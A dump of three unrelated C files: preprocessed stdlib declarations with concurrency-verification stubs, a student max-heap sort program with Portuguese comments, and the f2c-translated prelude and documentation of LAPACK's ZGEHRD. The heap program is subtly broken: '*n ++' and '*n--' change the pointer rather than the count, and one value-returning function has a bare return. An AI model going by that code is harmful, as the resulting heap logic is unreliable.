extern unsigned long long int strtoull(const char *__nptr, char **__endptr, int __base);
/* Return a random integer between 0 and RAND_MAX inclusive. */
// P() {0==-1}
extern int rand(void);
/* Seed the random number generator with the given number. */
// P() {0==-1}
extern void srand(unsigned int __seed);
/* Allocate SIZE bytes of memory. */
// P() {0==-1}
extern void *malloc(size_t __size);
/* Allocate NMEMB elements of SIZE bytes each, all initialized to 0. */
// P() {0==-1}
extern void *calloc(size_t __nmemb, size_t __size);
/* Re-allocate the previously allocated block
in PTR, making the new block SIZE bytes long. */
/* __attribute_malloc__ is not used, because if realloc returns
the same pointer that was passed to it, aliasing needs to be allowed
between objects pointed by the old and new pointers. */
// P() {0==-1}
extern void *realloc(void *__ptr, size_t __size);
/* Free a block allocated by `malloc', `realloc' or `calloc'. */
// P() {0==-1}
extern void free(void *__ptr);
/* Abort execution and generate a core-dump. */
// P() {0==-1}
extern void abort(void);
/* Register a function to be called when `exit' is called. */
// P() {0==-1}
extern int atexit(void (*__func)(void));
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered,
perform stdio cleanup, and terminate program execution with STATUS. */
// P() {0==-1}
extern void exit(int __status);
/* Terminate the program with STATUS without calling any of the
functions registered with `atexit' or `on_exit'. */
// P() {0==-1}
void _Exit(int __status);
/* Return the value of envariable NAME, or NULL if it doesn't exist. */
// P() {0==-1}
extern char *getenv(const char *__name);
/* Execute the given line as a shell command.
This function is a cancellation point and therefore not marked with
__THROW. */
// P() {0==-1}
extern int system(const char *__command);
/* Shorthand for type of comparison functions. */
// P() {0==-1}
typedef int (*__compar_fn_t)(void *, void *);
/* Do a binary search for KEY in BASE, which consists of NMEMB elements
of SIZE bytes each, using COMPAR to perform the comparisons. */
// P() {0==-1}
extern void *bsearch(const void *__key, const void *__base, size_t __nmemb, size_t __size, __compar_fn_t __compar);
/* Sort NMEMB elements of BASE, of SIZE bytes each,
using COMPAR to perform the comparisons. */
// P() {0==-1}
extern void qsort(void *__base, size_t __nmemb, size_t __size, __compar_fn_t __compar);
/* Return the absolute value of X. */
// P() {0==-1}
extern int abs(int __x);
// P() {0==-1}
extern long int labs(long int __x);
// P() {0==-1}
extern long long int llabs(long long int __x);
/* Return the `div_t', `ldiv_t' or `lldiv_t' representation
of the value of NUMER over DENOM. */
/* GCC may have built-ins for these someday. */
// P() {0==-1}
extern div_t div(int __numer, int __denom);
// P() {0==-1}
extern ldiv_t ldiv(long int __numer, long int __denom);
// P() {0==-1}
extern lldiv_t lldiv(long long int __numer, long long int __denom);
/* Return the length of the multibyte character
in S, which is no longer than N. */
// P() {0==-1}
extern int mblen(const char *__s, size_t __n);
/* Return the length of the given multibyte character,
putting its `wchar_t' representation in *PWC. */
// P() {0==-1}
extern int mbtowc(wchar_t *__pwc, const char *__s, size_t __n);
/* Put the multibyte character represented
by WCHAR in S, returning its length. */
// P() {0==-1}
extern int wctomb(char *__s, wchar_t __wchar);
/* Convert a multibyte string to a wide char string. */
// P() {0==-1}
extern size_t mbstowcs(wchar_t *__pwcs, const char *__s, size_t __n);
/* Convert a wide char string to multibyte string. */
// P() {0==-1}
extern size_t wcstombs(char *__s, const wchar_t *__pwcs, size_t __n);
/* X/Open pseudo terminal handling. */
/* Floating-point inline functions for stdlib.h.
Copyright (C) 2012-2014 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
/* Define some macros helping to catch buffer overflows. */
// P() {0==-1}
unsigned int __cs_active_thread[3] = {1};
// P() {0==-1}
unsigned int __cs_pc[3];
// P() {0==-1}
unsigned int __cs_pc_cs[3];
// P() {0==-1}
unsigned int __cs_thread_index;
// P() {0==-1}
unsigned int __cs_thread_lines[] = {3, 8, 8};
// P() {0==-1}
void *__cs_safe_malloc(int __cs_size);
// P() {0==-1}
void __cs_init_scalar(void *__cs_var, int __cs_size);
// P() {0==-1}
void __CSEQ_message(char *__cs_message);
// P() {0==-1}
typedef int __cs_t;
// P() {0==-1}
void *__cs_threadargs[3];
// P() {0==-1}
int __cs_create(__cs_t *__cs_new_thread_id, void *__cs_attr, void *(*__cs_t)(void *), void *__cs_arg, int __cs_threadID);
// P() {0==-1}
int __cs_join(__cs_t __cs_id, void **__cs_value_ptr);
// P() {0==-1}
int __cs_exit(void *__cs_value_ptr);
// P() {0==-1}
typedef int __cs_mutex_t;
// P() {0==-1}
int __cs_mutex_init(__cs_mutex_t *__cs_m, int __cs_val);
// P() {0==-1}
int __cs_mutex_destroy(__cs_mutex_t *__cs_mutex_to_destroy);
// P() {0==-1}
int __cs_mutex_lock(__cs_mutex_t *__cs_mutex_to_lock);
// P() {0==-1}
int __cs_mutex_unlock(__cs_mutex_t *__cs_mutex_to_unlock);
// P() {0==-1}
typedef int __cs_cond_t;
// P() {0==-1}
int __cs_cond_init(__cs_cond_t *__cs_cond_to_init, void *__cs_attr);
// P() {0==-1}
int __cs_cond_wait_1(__cs_cond_t *__cs_cond_to_wait_for, __cs_mutex_t *__cs_m);
// P() {0==-1}
int __cs_cond_wait_2(__cs_cond_t *__cs_cond_to_wait_for, __cs_mutex_t *__cs_m);
// P() {0==-1}
int __cs_cond_signal(__cs_cond_t *__cs_cond_to_signal);
// P() {0==-1}
void __VERIFIER_error();
// P() {0==-1}
void *thr1_0(void *__cs_param_thr1_arg);
// P() {0==-1}
void *thr1_1(void *__cs_param_thr1_arg);
// P() {0==-1}
int main_thread(void);
// P() {0==-1}
int main(void);
|
the_stack_data/243894188.c | #include <stdio.h>
#include <stdlib.h>
// imprime A[1..n], precedido da mensagem msg
void imprimeVetor (long int *A, long int n)
{
int i;
printf("[");
for (i=1; i<n; i++)
{
printf("%ld, ", A[i]);
}
printf("%ld]\n", A[n]);
}
void MaxHeapify (long int *A, int m, long int i)
{
int e = 2 * i;
int d = 2 * i + 1;
int maior = 0;
if((e <= m) && (A[e] > A[i]))
maior = e;
else
maior = i;
if((d <= m) && (A[d] > A[maior]))
maior = d;
if(maior != i)
{
long int aux = A[i];
A[i] = A[maior];
A[maior] = aux;
MaxHeapify(A, m, maior);
}
}
// Aumenta a prioridade de uma chave.
void HeapIncreaseKey(long int *A, long int i, long int key)
{
if(key < A[i])
{
printf("\nERRO: a nova chave é menor que a chave atual.\n");
return;
}
A[i] = key;
while((i > 1) && (A[i/2] < A[i]))
{
long int aux = A[i];
A[i] = A[i/2];
A[i/2] = aux;
i = i/2;
}
}
// Insere um novo elemento
void MaxHeapInsert(long int *A, long int *n, long int key)
{
*n ++;
A[*n] = -9999;
printf("k: %ld\n", key);
HeapIncreaseKey(A, *n, key);
}
// Retorna o maior elemento, removendo.
long int HeapExtractMax(long int *A, long int *n)
{
if(*n < 1)
{
printf("\nERRO: heap underflow\n");
return;
}
int max = A[1];
A[1] = A[*n];
*n--;
MaxHeapify(A, *n, 1);
return max;//max;
}
int main ()
{
int i;
long int n, m;
long int *A;
long int key;
scanf("%ld", &n);
A = (long int*) malloc((n + 1) * sizeof(long int));
m = n;
n = 0;
for (i=1; i<=m; i++)
{
scanf("%ld", &key);
MaxHeapInsert(A, &n, key);
}
printf("vetor lido com %ld chaves: ", n);
imprimeVetor(A, n);
printf("ordem decrescente: [");
while (n > 1)
{
printf("%ld, ", HeapExtractMax(A, &n));
}
printf("%ld]\n", HeapExtractMax(A, &n));
free(A);
return 0;
}
|
the_stack_data/883059.c | #include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
#ifdef _MSC_VER
static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;}
static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;}
static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;}
static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;}
#else
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#endif
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#ifdef _MSC_VER
#define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);}
#define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/df(b)._Val[1]);}
#else
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#endif
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimagf(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#ifdef _MSC_VER
static _Fcomplex cpow_ui(complex x, integer n) {
complex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i;
for(u = n; ; ) {
if(u & 01) pow.r *= x.r, pow.i *= x.i;
if(u >>= 1) x.r *= x.r, x.i *= x.i;
else break;
}
}
_Fcomplex p={pow.r, pow.i};
return p;
}
#else
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
#ifdef _MSC_VER
static _Dcomplex zpow_ui(_Dcomplex x, integer n) {
_Dcomplex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1];
for(u = n; ; ) {
if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1];
if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1];
else break;
}
}
_Dcomplex p = {pow._Val[0], pow._Val[1]};
return p;
}
#else
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static doublecomplex c_b2 = {1.,0.};
static integer c__1 = 1;
static integer c_n1 = -1;
static integer c__3 = 3;
static integer c__2 = 2;
static integer c__65 = 65;
/* > \brief \b ZGEHRD */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download ZGEHRD + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zgehrd.
f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zgehrd.
f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zgehrd.
f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE ZGEHRD( N, ILO, IHI, A, LDA, TAU, WORK, LWORK, INFO ) */
/* INTEGER IHI, ILO, INFO, LDA, LWORK, N */
/* COMPLEX*16 A( LDA, * ), TAU( * ), WORK( * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > ZGEHRD reduces a complex general matrix A to upper Hessenberg form H by */
/* > an unitary similarity transformation: Q**H * A * Q = H . */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The order of the matrix A. N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] ILO */
/* > \verbatim */
/* > ILO is INTEGER */
/* > \endverbatim */
/* > */
/* > \param[in] IHI */
/* > \verbatim */
/* > IHI is INTEGER */
/* > */
/* > It is assumed that A is already upper triangular in rows */
/* > and columns 1:ILO-1 and IHI+1:N. ILO and IHI are normally */
/* > set by a previous call to ZGEBAL; otherwise they should be */
/* > set to 1 and N respectively. See Further Details. */
/* > 1 <= ILO <= IHI <= N, if N > 0; ILO=1 and IHI=0, if N=0. */
/* > \endverbatim */
/* > */
/* > \param[in,out] A */
/* > \verbatim */
/* > A is COMPLEX*16 array, dimension (LDA,N) */
/* > On entry, the N-by-N general matrix to be reduced. */
/* > On exit, the upper triangle and the first subdiagonal of A */
/* > are overwritten with the upper Hessenberg matrix H, and the */
/* > elements below the first subdiagonal, with the array TAU, */
/* > represent the unitary matrix Q as a product of elementary */
/* > reflectors. See Further Details. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of the array A. LDA >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[out] TAU */
/* > \verbatim */
/* > TAU is COMPLEX*16 array, dimension (N-1) */
/* > The scalar factors of the elementary reflectors (see Further */
/* > Details). Elements 1:ILO-1 and IHI:N-1 of TAU are set to */
/* > zero. */
/* > \endverbatim */
/* > */
/* > \param[out] WORK */
/* > \verbatim */
/* > WORK is COMPLEX*16 array, dimension (LWORK) */
/* > On exit, if INFO = 0, WORK(1) returns the optimal LWORK. */
/* > \endverbatim */
/* > */
/* > \param[in] LWORK */
/* > \verbatim */
/* > LWORK is INTEGER */
/* > The length of the array WORK. LWORK >= f2cmax(1,N). */
/* > For good performance, LWORK should generally be larger. */
/* > */
/* > If LWORK = -1, then a workspace query is assumed; the routine */
/* > only calculates the optimal size of the WORK array, returns */
/* > this value as the first entry of the WORK array, and no error */
/* > message related to LWORK is issued by XERBLA. */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > < 0: if INFO = -i, the i-th argument had an illegal value. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup complex16GEcomputational */
/* > \par Further Details: */
/* ===================== */
/* > */
/* > \verbatim */
/* > */
/* > The matrix Q is represented as a product of (ihi-ilo) elementary */
/* > reflectors */
/* > */
/* > Q = H(ilo) H(ilo+1) . . . H(ihi-1). */
/* > */
/* > Each H(i) has the form */
/* > */
/* > H(i) = I - tau * v * v**H */
/* > */
/* > where tau is a complex scalar, and v is a complex vector with */
/* > v(1:i) = 0, v(i+1) = 1 and v(ihi+1:n) = 0; v(i+2:ihi) is stored on */
/* > exit in A(i+2:ihi,i), and tau in TAU(i). */
/* > */
/* > The contents of A are illustrated by the following example, with */
/* > n = 7, ilo = 2 and ihi = 6: */
/* > */
/* > on entry, on exit, */
/* > */
/* > ( a a a a a a a ) ( a a h h h h a ) */
/* > ( a a a a a a ) ( a h h h h a ) */
/* > ( a a a a a a ) ( h h h h h h ) */
/* > ( a a a a a a ) ( v2 h h h h h ) */
/* > ( a a a a a a ) ( v2 v3 h h h h ) */
/* > ( a a a a a a ) ( v2 v3 v4 h h h ) */
/* > ( a ) ( a ) */
/* > */
/* > where a denotes an element of the original matrix A, h denotes a */
/* > modified element of the upper Hessenberg matrix H, and vi denotes an */
/* > element of the vector defining H(i). */
/* > */
/* > This file is a slight modification of LAPACK-3.0's DGEHRD */
/* > subroutine incorporating improvements proposed by Quintana-Orti and */
/* > Van de Geijn (2006). (See DLAHR2.) */
/* > \endverbatim */
/* > */
/* ===================================================================== */
